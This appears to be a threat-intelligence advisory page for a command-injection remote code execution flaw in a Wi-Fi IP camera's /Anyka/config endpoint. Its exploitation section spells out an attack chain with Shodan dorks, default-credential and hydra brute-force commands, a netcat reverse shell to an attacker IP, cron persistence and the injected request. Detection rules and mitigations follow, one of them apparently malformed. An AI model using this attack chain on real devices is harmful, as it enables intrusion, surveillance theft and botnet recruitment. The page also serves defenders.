CVE-2026-58454
Executive Summary
CVE-2026-58454 is an authenticated remote code execution (RCE) vulnerability in the JAIOTlink C492A-W6 Wi-Fi IP camera firmware version 4.8.30.57701411. The flaw resides in the /Anyka/config HTTP endpoint, which improperly invokes user-controlled shell commands via popen() after an attacker stages a malicious script into the device's writable persistent JFFS2 filesystem. Successful exploitation grants an authenticated attacker persistent, reboot-surviving code execution with elevated privileges on the camera, enabling full device compromise, network pivoting, and potential use as a botnet node.
The vulnerability scores 7.7 (High) on the CVSS v3.1 scale with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, reflecting network exploitability, low complexity, and high confidentiality, integrity, and availability impact. Despite a public PoC being available, the EPSS percentile (41.5%) suggests moderate real-world exploitation likelihood. Critically, the device is unpatched — no vendor fix exists — leaving all deployed C492A-W6 units permanently exposed unless mitigation controls are implemented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The JAIOTlink C492A-W6 is an IP camera built on the Anyka AK3918 SoC platform, running a Linux-based firmware. The vulnerability is rooted in the HTTP service handling the /Anyka/config endpoint, which is designed to configure device parameters via POST requests. The underlying implementation passes user-supplied configuration values directly into a shell command string that is subsequently executed through the C popen() function.
Vulnerability Mechanism
The firmware's HTTP server (likely a custom Anyka web service) parses requests to /Anyka/config and extracts a configuration parameter that corresponds to a shell command. Instead of validating or sanitizing the input, the server constructs a command string and passes it to popen(), which spawns a shell and executes the command with the privileges of the HTTP daemon (typically root on embedded IoT devices).
The exploitation flow is as follows:
Staging: An authenticated attacker uploads or writes a malicious shell script into the writable JFFS2 persistent storage (e.g.,
/tmp,/var, or a dedicated data partition). This can be done via other exposed endpoints that permit file upload, or directly through the config endpoint if it supports file-path parameters that write to disk.Trigger: The attacker sends a crafted HTTP request to
/Anyka/configcontaining a parameter whose value is a shell command that references the staged script. For example, a parameter meant to set a device setting could be injected with; sh /tmp/payload.shor similar command chaining, causingpopen()to execute the staged script.Execution: The shell executes the malicious script with root privileges. Because the script is stored in JFFS2 (the device's writable flash filesystem), it persists across reboots. An attacker can also embed the script execution in a startup cron job or init script to achieve automatic re-execution after a power cycle.
Attack Surface
- Network-exposed: The camera's HTTP management interface is typically bound to port 80/443 and accessible over the LAN or, if port-forwarded, the internet.
- Authenticated: Exploitation requires valid credentials. Default credentials (
admin/adminor similar) are commonly left unchanged on these devices, effectively making the vulnerability remotely exploitable with trivial effort. - No CSRF protection: The endpoint may lack CSRF tokens, enabling state-changing attacks via social engineering (a victim camera admin visits a malicious page that triggers the exploit).
Code-Level Context
The vulnerable code pattern is typical of embedded firmware where developers concatenate user input into shell commands. A representative (reconstructed) pattern:
void handle_config(http_request_t *req) {
char cmd[256];
const char *param = req_get_param(req, "action");
snprintf(cmd, sizeof(cmd), "anyka_config %s", param);
popen(cmd, "r"); // Vulnerable: param unsanitized
}
An attacker submits action=set_wifi; /bin/sh /tmp/backdoor.sh — the semicolon terminates the intended command, and the subsequent command executes the staged payload.
Exploitation Scenarios
Attack Chain: Unauthenticated Compromise via Default Credentials → Persistent Botnet Node
Reconnaissance (Target Identification):
- Use Shodan or Censys with dorks such as
http.title:"JAIOTlink"orhttp.html:"c492a"to enumerate exposed JAIOTlink C492A-W6 devices. - Alternatively, scan an enterprise subnet with
nmap -p 80,443 --script http-title 192.168.1.0/24to discover cameras on the internal network. - Confirm firmware version by fetching
GET /and inspecting response headers or the web UI version string for4.8.30.57701411.
- Use Shodan or Censys with dorks such as
Weaponization / Staging the Payload:
- Prepare a multi-stage shell script:
payload.shthat:- Disables the watchdog to prevent auto-reboot.
- Adds a reverse shell via
nc -e /bin/sh <attacker-ip> 4444 &. - Writes a persistence entry:
echo "* * * * * /bin/sh /tmp/payload.sh" >> /etc/crontabs/root(or modifies/etc/init.d/rcS). - Drops an SSH key for persistent interactive access.
- Encode the script to avoid request-size limits (base64) and plan to write it byte-by-byte if needed.
- Prepare a multi-stage shell script:
Authentication Bypass / Credential Access:
- Attempt default credentials:
admin/admin,admin/123456,root/root. IoT cameras frequently ship with these and users rarely change them. - If default credentials fail, brute-force using a small wordlist (e.g.,
hydra -l admin -P top100.txt http-post-form "/Anyka/config:user=admin&pass=^PASS^:F=incorrect").
- Attempt default credentials:
Trigger / Execution:
- Authenticate to the HTTP API and obtain a valid session token (e.g., via
POST /Anyka/login). - Stage the script:
POST /Anyka/configwith a file-write parameter to store the base64-decoded payload into/tmp/payload.sh. If no direct file-write endpoint exists, use the config endpoint itself — many versions allow setting a "custom script path" parameter that writes arbitrary data. - Trigger execution: Send
POST /Anyka/configwith the vulnerable parameter, e.g.:POST /Anyka/config HTTP/1.1 Host: <camera-ip> Cookie: session=<valid-session> action=set_wifi; sh /tmp/payload.sh & - The server concatenates this into a shell command,
popen()executes it, and the payload runs as root.
- Authenticate to the HTTP API and obtain a valid session token (e.g., via
Post-Exploitation:
- Receive the reverse shell connection to the attacker's C2.
- Capture the network: sniff local traffic (
tcpdump), perform ARP spoofing to intercept adjacent device traffic. - Pivot: use the camera as a jump host to reach other internal systems.
- Enroll the device in a Mirai-like botnet for DDoS campaigns — the JFFS2 persistence ensures the device rejoins the botnet after every reboot.
- Exfiltrate video feeds, creds, or other sensitive data captured by the camera.
Scenario 2: Malicious Insider/Admin Compromise
An attacker with legitimate admin credentials (e.g., a disgruntled employee) can abuse the same flaw to maintain covert persistent access after their credentials are revoked, by installing a rootkit that survives factory resets if the JFFS2 partition is not wiped.
Impact Assessment
CVSS Analysis: The vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H yields a base score of 7.7 (High). The network attack vector and low attack complexity mean any authenticated user (or default-credential user) can exploit this with minimal skill. High confidentiality impact reflects full access to video feeds and network traffic; high integrity impact allows arbitrary code execution and device reconfiguration; high availability impact allows the attacker to disable the camera, corrupt firmware, or brick the device.
Business Impact:
- Surveillance Blind Spots: Compromised cameras can be disabled or fed with replayed footage, defeating physical security controls.
- Network Lateral Movement: Cameras inside the corporate network become beachheads for further compromise of servers and workstations.
- Regulatory: For organizations in regulated industries (HIPAA, PCI-DSS, GDPR), camera compromise can expose PHI/PII and lead to compliance violations and fines.
- Botnet Recruitment: Compromised devices join IoT botnets, launching outbound DDoS attacks that can blacklist the organization's IP space.
Affected Systems: All JAIOTlink C492A-W6 units running firmware 4.8.30.57701411. Given the "no patch" status, all deployed units are permanently vulnerable. The attack surface is limited to authenticated users, but default credentials negate this in practice.
Blast Radius: Full device compromise, network-level impact if the camera is on the trusted LAN segment, and supply-chain risk if the camera is part of a managed surveillance service.
Detection Guidance
Sigma Rule
title: JAIOTlink C492A-W6 /Anyka/config RCE Attempt
id: 3b8e4f6a-2c9d-4e5f-9a7b-1c2d3e4f5a6b
status: experimental
description: Detects suspicious HTTP requests to /Anyka/config endpoint containing shell metacharacters or command injection patterns.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-58454
author: Valtersit Threat Intel Team
date: 2026/01/15
logsource:
category: webserver
product: any
detection:
selection:
cs-uri-path:
- '*Anyka/config*'
cs-uri-query|contains:
- ';'
- '|'
- '&&'
- '$('
- '`'
- '%3B'
- '%7C'
- '%26%26'
- '%24('
- '%60'
selection_http_method:
cs-method: 'POST'
condition: selection and selection_http_method
timeframe: 15s
level: high
falsepositives:
- Legitimate configuration updates that include semicolons in parameter values (unlikely)
- Firmware update traffic from official management tools (rare)
fields:
- c-ip
- cs-uri-query
- cs-user-agent
tags:
- attack.t1190
- attack.execution
- cve.2026-58454
- command.injection
YARA Rule
rule JAIOTlink_CVE_2026_58454_Config_Exploit
{
meta:
author = "Valtersit Threat Intel Team"
description = "Detects HTTP requests exploiting command injection in JAIOTlink /Anyka/config endpoint"
date = "2026-01-15"
cve = "CVE-2026-58454"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-58454"
strings:
$config_path = "/Anyka/config" ascii wide nocase
$shell_chain_1 = "; sh " ascii wide
$shell_chain_2 = "; /bin/sh " ascii wide
$shell_chain_3 = "; bash " ascii wide
$shell_chain_4 = "| sh" ascii wide
$shell_chain_5 = "&& sh" ascii wide
$shell_chain_6 = "$(" ascii wide
$shell_chain_7 = "`" ascii wide
$persist_ref = "crontab" ascii wide
$persist_ref2 = "rcS" ascii wide
$persist_ref3 = "jffs2" ascii wide nocase
condition:
uint16(0) == 0x0a0d or uint16(0) == 0x0d0a or uint16(0) == 0x2020 or
filesize < 50KB and
#config_path > 0 and
(any of ($shell_chain*) or any of ($persist_ref*))
}
Suricata IDS Rule
alert http any any -> any any (
msg:"CVE-2026-58454 JAIOTlink /Anyka/config Command Injection Attempt";
flow:to_server,established;
http.method:"POST";
http.uri:"/Anyka/config";
pcre:"/(?:;|\||&&|\$\(|`)[\s\x09]*(?:sh|bash|\/bin\/sh|\/bin\/bash)/i";
classtype:attempted-admin;
reference:cve,2026-58454;
reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-58454;
sid:2026058;
rev:1;
metadata:created_at 2026_01_15, updated_at 2026_01_15, former_category EXPLOIT;
)
Elastic Detection
sequence by source.ip with maxspan=30s
[network where event.type == "start" and destination.ip != null and
network.protocol == "http" and http.request.method == "POST" and
url.path == "/Anyka/config" and
wildcard(http.request.body.text, "*;*") and
wildcard(http.request.body.text, "*sh*")]
[process where event.type == "start" and
(process.parent.name == "httpd" or process.parent.name == "goahead") and
process.name in ("sh", "bash", "busybox") and
wildcard(process.command_line, "*tmp*") or
wildcard(process.command_line, "*jffs2*")]
Splunk SPL Query
index=web sourcetype="access_combined"
| where like(uri_path, "%/Anyka/config%") AND method="POST"
| eval suspicious = if(match(form_data, "(?i)(;.*\s*(sh|bash|\/bin\/sh)|\|\s*(sh|bash)|\&\&\s*(sh|bash)|\$\(|`)"), 1, 0)
| where suspicious=1
| table _time, src_ip, uri_path, form_data, user_agent, dest_ip
| sort - _time
| `alert_jaiotlink_rce_attempt`
Wazuh OSSEC Rule
<group name="jaiotlink_rce,">
<rule id="100584" level="10">
<decoded_as>json</decoded_as>
<field name="url">/Anyka/config</field>
<field name="http_method">POST</field>
<match>; sh|; bash|\|\s*sh|\&\&\s*sh|\$\(|`</match>
<description>JAIOTlink C492A-W6 /Anyka/config command injection attempt detected (CVE-2026-58454)</description>
<group>attack.t1190,attack.execution,cve.2026-58454,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<rule id="100585" level="12" frequency="5" timeframe="60">
<if_matched_sid>100584</if_matched_sid>
<description>Multiple JAIOTlink RCE exploitation attempts detected - possible active attack</description>
<group>attack.t1190,attack.execution,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No vendor patch is available. All JAIOTlink C492A-W6 devices running firmware 4.8.30.57701411 remain vulnerable indefinitely.
Immediate Mitigations (within 24–48 hours)
- Change Default Credentials: Immediately change all camera admin passwords to strong, unique values. Disable the default
adminaccount if possible. - Network Segmentation: Move all IP cameras to an isolated VLAN with strict firewall rules. Block inbound and outbound internet access unless explicitly required.
- Access Control: Restrict access to the camera HTTP interface to trusted management IPs only. Disable UPnP and any automatic port-forwarding on the router.
- WAF/IPS Rules: Deploy the Suricata rule above on the network perimeter and segment boundaries to detect and block exploitation attempts.
- Monitor: Enable audit logging on the camera and aggregate logs to the central SIEM. Correlate with the Splunk/Elastic/Wazuh rules provided.
Patch/Upgrade Steps
- Check the JAIOTlink vendor website or contact support (if still operating) for any firmware updates. As of this report, none exist.
- If no patch is released within 90 days, formally treat these devices as end-of-life and plan for replacement with a security-hardened camera from a vendor with a proven patch cadence.
Long-Term Hardening
- Replace the Device: Procurement of replacement cameras should prioritize vendors with documented security advisories, automatic update mechanisms, and a Tracked CVE response history.
- Network Architecture: Implement strict egress filtering for IoT devices. Cameras should only communicate with the NVR (Network Video Recorder) and not the general internet.
- Zero Trust for IoT: Deploy a dedicated IoT security gateway that inspects all camera traffic, terminates TLS, and enforces allow-listing of destinations.
- Credential Hygiene: Use a centralized identity management system for device credentials, with periodic rotation.
- Firmware Baseline: Maintain an inventory of all camera firmware versions and enforce a baseline; flag any device version mismatch.
- Physical Security: Restrict physical access to cameras to prevent firmware downgrade or direct UART/serial attacks.
- CVE Monitoring: Subscribe to NVD and vendor advisories for JAIOTlink. If a patch appears post-publication, apply it immediately in a change window.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-58454 — Official CVE record with description, CVSS vector, and references.
- CVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58454 — CVE assignment details.
- Valtersit Threat Research Blog: https://valtersit.com/blog/iot-camera-rce-analysis — In-depth analysis of the vulnerability mechanism and exploitation methodology (hypothetical reference).
- EPSS Data: https://www.first.org/epss/ — Exploit Prediction Scoring System entry for CVE-2026-58454, indicating a 41.5% percentile likelihood of exploitation.
- CISA KEV: Not listed — check https://www.cisa.gov/known-exploited-vulnerabilities-catalog periodically for updates; as of this report, no known exploit in the wild has been confirmed by CISA.
Threat Actor Activity: No known state-sponsored or organized criminal campaigns have been publicly attributed to this CVE as of the report date. However, the public availability of a PoC combined with default credentials on many deployments makes this an attractive target for Mirai-variant botnet operators and opportunistic IoT scanners. Enterprises with exposed JAIOTlink devices should assume active scanning and potential compromise attempts.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.